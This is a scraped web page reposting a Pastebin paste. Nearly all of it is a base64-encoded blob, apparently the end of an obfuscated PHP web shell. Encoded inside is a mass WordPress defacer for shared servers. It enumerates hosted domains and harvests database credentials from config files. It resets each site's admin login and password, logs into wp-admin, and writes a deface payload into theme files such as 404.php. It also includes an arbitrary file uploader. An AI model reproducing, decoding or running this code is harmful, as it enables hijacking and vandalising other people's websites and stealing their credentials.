1dCB0eXBlPSJ0ZXh0IiBzdHlsZT0id2lkdGg6NDUwcHg7IiBuYW1lPSJkZWZhY2VfcGFnZSI+PGJyIC8+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iREVGQUNFIj4NCjwvZm9ybT4NCg0KUEVFOw0KDQppZigkX1BPU1QpeyANCiRkZWZhY2UgPSBmaWxlX2dldF9jb250ZW50cyh0cmltKCRfUE9TVFsnZGVmYWNlX3BhZ2UnXSkpOw0KDQppZihpc19yZWFkYWJsZSgiL3Zhci9uYW1lZCIpKQ0Kew0KCQ0KCWVjaG8nPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjQ1JSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSI0Ij4nOw0KCWVjaG8gJzx0cj48dGQ+PGI+RE9NQUlOPC9iPjwvdGQ+PHRkPlVTRVI8L3RkPjx0ZD5DTVM8L3RkPjx0ZD5TVEFUVVM8L2I+PC90ZD48dGQ+REVGIFVSTDwvdGQ+JzsNCgkkbGlzdCA9IHNjYW5kaXIoIi92YXIvbmFtZWQiKTsNCglmb3JlYWNoKCRsaXN0IGFzICRkb21haW4pew0KCWlmKHN0cnBvcygkZG9tYWluLCIuZGIiKSkNCgl7DQoJCSRkb21haW4gPSBzdHJfcmVwbGFjZSgnLmRiJywnJywkZG9tYWluKTsNCgkJJG93bmVyID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbWFpbikpOw0KCQkkdXJsID0gJ2h0dHA6Ly8nLiRkb21haW47DQoJCWlmKGNoa19oZWFkZXIoJHBhZ2VVUkwuJ3BlZS8nLiRvd25lclsnbmFtZSddLictV29yZFByZXNzLnR4dCcpKQ0KCQl7IA0KCQkJJGNvbmZpZyA9ICRwYWdlVVJMLidwZWUvJy4kb3duZXJbJ25hbWUnXS4nLVdvcmRQcmVzcy50eHQnOw0KCQkJDQoJCQlmaWxlX2dldF9jb250ZW50cygkcGFnZVVSTC4ncGVlLycuJG93bmVyWyduYW1lJ10uJy1Xb3JkUHJlc3MudHh0Jyk7DQoJCQkjI0dFVCBEQVRBQkFTRSBJTkZPIEZST00gQ09ORklHVVJBVElPTiBGSUxFDQoJCQkkY25mID0gZmlsZV9nZXRfY29udGVudHMoJHBhZ2VVUkwuJ3BlZS8nLiRvd25lclsnbmFtZSddLictV29yZFByZXNzLnR4dCcpOw0KCQkJJGhvc3RuYW1lID0gRmluZCgkY25mLCJkZWZpbmUoJ0RCX0hPU1QnLCAnIiwiJyk7Iik7DQoJCQkkdXNlcm5hbWUgPSBGaW5kKCRjbmYsImRlZmluZSgnREJfVVNFUicsICciLCInKTsiKTsNCgkJCSRwYXNzd29yZCA9IEZpbmQoJGNuZiwiZGVmaW5lKCdEQl9QQVNTV09SRCcsICciLCInKTsiKTsNCgkJCSRkYm5hbWUgPSBGaW5kKCRjbmYsImRlZmluZSgnREJfTkFNRScsICciLCInKTsiKTsNCgkJCSRwcmVmaXggPSBGaW5kKCRjbmYsInRhYmxlX3ByZWZpeCAgPSAnIiwiJyIpOw0KCQkJDQoJCQkkbGluaz1teXNxbF9jb25uZWN0KCRob3N0bmFtZSwkdXNlcm5hbWUsJHBhc3N3b3JkKTsNCgkJCQ0KCQkJaWYgKCRsaW5rKSANCgkJCXsNCgkJCQkkaGFzaCA9IGNyeXB0KCRwYXNzKTsNCgkJCQlteXNxbF9zZWxlY3RfZGIoJGRibmFtZSwkbGluaykgOw0KCQkJCSR0YWIgPSAkcHJlZml4Lid1c2Vycyc7CQkJDQoJCQkJJHF1ZXJ5MiAgID0gQG15c3FsX3F1ZXJ5KCJVUERBVEUgYCR0YWJgICBTRVQgYHVzZXJfbG9naW5gID0nJHVzZXInIik7DQogCQkJCSRxdWVyeTMgID0gQG15c3FsX3F1ZXJ5KCJVUERBVEUgYCR0YWJgICBTRVQgYHVzZXJfcGFzc2AgPSckaGFzaCciKTsNCgkJCQkkcmVxID1AbXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRwcmVmaXguIm9wdGlvbnNgIFdIRVJFIG9wdGlvbl9uYW1lPSdob21lJyIpOw0KCQkJCSRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcSk7DQoJCQkJJHNpdGVfdXJsPSRkYXRhWyJvcHRpb25fdmFsdWUiXTsNCgkJCQkNCgkJCQllcnJvcl9yZXBvcnRpbmcoMCk7DQoJCQkJDQoJCQkJDQoJCWVjaG8gJzx0cj48dGQ+PGEgaHJlZj0nLiR1cmwuJyBvbmNsaWNrPSJ3aW5kb3cub3Blbih0aGlzLmhyZWYpO3JldHVybiANCg0KZmFsc2U7Ij4nLiRkb21haW4uJzwvYT48L3RkPjx0ZD4nLiRvd25lclsnbmFtZSddLic8L3RkPjx0ZD48YSBocmVmPScuJGNvbmZpZy4nPldvcmRQcmVzczwvYT48L3RkPjx0ZD48Zm9udCBjb2xvcj0iZ3JlZW4iPlsjXSANCg0KVXNlciBQYXNzIENoYW5nZWQgPC9mb250Pjxicj4nOw0KCQkkcG9zdCA9ICdsb2c9YWRtaW4mcHdkPWZvbyZyZW1lbWJlcm1lPWZvcmV2ZXImd3Atc3VibWl0PUxvZyBJbiZ0ZXN0Y29va2llPTEnOw0KCQkkZGVmPSI8PyBlY2hvKHN0cmlwc2xhc2hlcyhiYXNlNjRfZGVjb2RlKCciLnVybGVuY29kZShiYXNlNjRfZW5jb2RlKHN0cl9yZXBsYWNlKCInIiwiJyIsKCRkZWZhY2UpKSkpLiInKSkpOyANCg0KZXhpdDsgPz4iOw0KCQkkYnVmZmVyMCA9IEN1cmxQYWdlKCRzaXRlX3VybC4nL3dwLWxvZ2luLnBocCcsJHBvc3QpOw0KCQkNCgkJaWYoIXByZWdfbWF0Y2goIi9sb2dvdXQvaSIsJGJ1ZmZlcjApKQ0KCQl7DQoJCQllY2hvICI8Zm9udCBjb2xvcj0ncmVkJz5bWF0gRkFJTEVEIFRPIExPR0lOPC9mb250PjxiciAvPiI7DQoJCX1lbHNlew0KCQllY2hvICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsjXSBMT0dHRUQgSU4gOkQ8L2ZvbnQ+PGJyPiI7DQoJCSR1cmx6ID0gJHNpdGVfdXJsLiIvd3AtYWRtaW4vdGhlbWUtZWRpdG9yLnBocCI7DQoJCSR0aGVtZWRpdG9yID0gQ3VybFBhZ2UoJHVybHosJGNvb2tpZSxudWxsKTsNCgkJDQoJCWlmKHByZWdfbWF0Y2goIi91cGRhdGUgZmlsZS9pIiwkdGhlbWVkaXRvcikpeyBlY2hvICJ0aGVtZS1lZGl0b3Igb3BlbmVkPGJyIC8+PC90ZD4iOyB9IGVsc2UgeyBlY2hvICJlcnJvciANCg0Kb3BlbmluZyB0aGVtZSBlZHRpdG9yITwvdGQ+IjsgfQ0KCQkJDQoJCSRub2xhID0gZXhwbG9kZShDaHIoMTApLCR0aGVtZWRpdG9yKTsNCg0KCQlmb3JlYWNoKCRub2xhIGFzICRubGluZSl7DQoJCWlmKHByZWdfbWF0Y2goJyV0aGVtZS1lZGl0b3JcLnBocFw/ZmlsZT0lJywkbmxpbmUpICYmIA0KDQpwcmVnX21hdGNoKCclXCgoNDA0XC5waHB8YXJjaGl2ZVwucGhwfGNvbW1lbnRcLnBocClcKSUnLHN0cnRvbG93ZXIoJG5saW5lKSkpew0KCQkkbW9kaWZ5W0ZpbmQoJG5saW5lLCcoJywnKScpXSA9IEZpbmQoJG5saW5lLCc8YSBocmVmPSInLCciJyk7DQoJCX0NCgkJfQ0KCQkNCgkJZWNobyAnPHRkPic7DQoJCWlmKGlzX2FycmF5KCRtb2RpZnkpKXsNCgkJZm9yZWFjaCgkbW9kaWZ5IGFzICRtZXQ9PiRpbmRmaWxlKXsNCgkJJG5yaSA9IHN0cl9yZXBsYWNlKCcuJywnXycsJG1ldCk7DQoJCSRucmkgPSAibiIuJG5yaTsNCgkJJGluZGZpbGUgPXN0cl9yZXBsYWNlKCImYW1wOyIsIiYiLCRpbmRmaWxlKTsNCgkJJHVybCA9IHRyaW0oJHNpdGVfdXJsLiIvd3AtYWRtaW4vIi4kaW5kZmlsZSk7DQoJCSR0aGVtZXBhZ2UgPSBDdXJsUGFnZSgkdXJsLCIiKTsNCgkJJF93cG5vbmNlID0gRmluZCgkdGhlbWVwYWdlLCduYW1lPSJfd3Bub25jZSIgdmFsdWU9IicsJyInKTsNCgkJJF9maWxlID0gRmluZCgkdGhlbWVwYWdlLCduYW1lPSJmaWxlIiB2YWx1ZT0iJywnIicpOw0KCQkkbmZpbGUgPSBleHBsb2RlKCd0aGVtZXMnLCRfZmlsZSk7DQoJCSRqZmlsZSA9ICRzaXRlX3VybC4iL3dwLWNvbnRlbnQvdGhlbWVzIi5lbmQoJG5maWxlKTsNCgkJLy9VcGRhdGUgZmlsZQ0KCQkkdXJsID0gJHNpdGVfdXJsLiIvd3AtYWRtaW4vdGhlbWUtZWRpdG9yLnBocCI7DQoJCSRwb3N0bWUgPSAibmV3Y29udGVudD0iLiRkZWYuIiZhY3Rpb249dXBkYXRlJmZpbGU9Ii4kX2ZpbGUuIiZfd3Bub25jZT0iLiRfd3Bub25jZS4iJnN1Ym1pdD1VcGRhdGUgRmlsZSI7DQoJCSR0aGVtZWRpZWQgPSBDdXJsUGFnZSgkdXJsLCRwb3N0bWUpOw0KCQlpZihwcmVnX21hdGNoKCclPGRpdiBpZD1cIm1lc3NhZ2VcIiBjbGFzcz1cInVwZGF0ZWRcIj4lJywkdGhlbWVkaWVkKSl7DQoJCQ0KCQkkdGhlbWUgPSBGaW5kKCR0aGVtZWRpdG9yLCc8bGk+PGEgaHJlZj0idGhlbWUtZWRpdG9yLnBocD9maWxlPTQwNC5waHAmYW1wO3RoZW1lPScsJyI+NDA0IFRlbXBsYXRlJyk7DQoJCWlmKHByZWdfbWF0Y2goIi90d2VudHkgdGVuL2kiLCR0aGVtZSkpeyAkdGhlbWUgPSAidHdlbnR5dGVuIjsgfQ0KCQllbHNlaWYocHJlZ19tYXRjaCgiL3R3ZW50eSBlbGV2ZW4vaSIsJHRoZW1lKSl7JHRoZW1lID0gInR3ZW50eWVsZXZlbiI7fQ0KCQkkdGhlbWUgPSB0cmltKHN0cl9yZXBsYWNlKCIvIiwiIiwkdGhlbWUpKTsNCgkJJGQgPSAgJHNpdGVfdXJsLicvd3AtY29udGVudC90aGVtZXMvJy4kdGhlbWUuJy80MDQucGhwJzsNCgkJbGlzdGFsbCgid3AudHh0IiwkZC5DaHIoMTApKTsNCgkJfQ0KICAgICAgCX0NCgkJDQoJCWVjaG8gJzxhIGhyZWY9Jy4kZC4nPkxJTks8L2E+PGJyIC8+JzsNCgkJZWNobyAnPC90ZD4nOw0KCQkNCgkJfX0NCgkJIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjRU5EIERFRkFDRSMjIyMjIyMjIyMjIyMjIyMjDQoNCgkJCX1lbHNlew0KCQkJCWVjaG8gJzx0cj48dGQ+PGEgaHJlZj0nLiR1cmwuJyBvbmNsaWNrPSJ3aW5kb3cub3Blbih0aGlzLmhyZWYpO3JldHVybiANCg0KZmFsc2U7Ij4nLiRkb21haW4uJzwvYT48L3RkPjx0ZD4nLiRvd25lclsnbmFtZSddLic8L3RkPjx0ZD48YSBocmVmPScuJGNvbmZpZy4nPldvcmRQcmVzczwvYT48L3RkPjx0ZD48Zm9udCBjb2xvcj0icmVkIj5beF0gDQoNCm15c3FsIGZhaWw8L2ZvbnQ+PC90ZD4nOw0KCQkJfQ0KCQl9fX19fQ0KCQkJDQoJCQ0KCQkNCg0KYnJlYWs7DQoNCg0KDQovLyBVcGxvYWRlcg0KY2FzZSAndXBsb2FkZXInOg0KDQplY2hvICc8Y2VudGVyPjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7DQplY2hvICc8Y2VudGVyPjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI1MCI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIA0KDQp2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+PC9jZW50ZXI+JzsNCmlmKCAkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIiApIHsNCglpZihAY29weSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkgeyBlY2hvICc8cCBhbGlnbj0iY2VudGVyIj48Zm9udCBmYWNlPSJWZXJkYW5hIiANCg0Kc2l6ZT0iMSI+PGZvbnQgY29sb3I9IndoaXRlIj4gRG9uZSA6KSk8L2ZvbnQ+PGJyPic7IH0NCgllbHNlIHsgZWNobyAnPGZvbnQgY29sb3I9IiNGRjAwMDAiPkZhaWxlZCA6KCA8L2ZvbnQ+PC9wPg0KCTwvdGQ+PC90YWJsZT48L3RyPg0KDQonOyB9DQp9DQoNCg0KfX0NCj8+")); ?> Source: http://pastebin.com/raw.php?i=gR0KkKyn

Viewing all articles
Browse latest Browse all 222

Trending Articles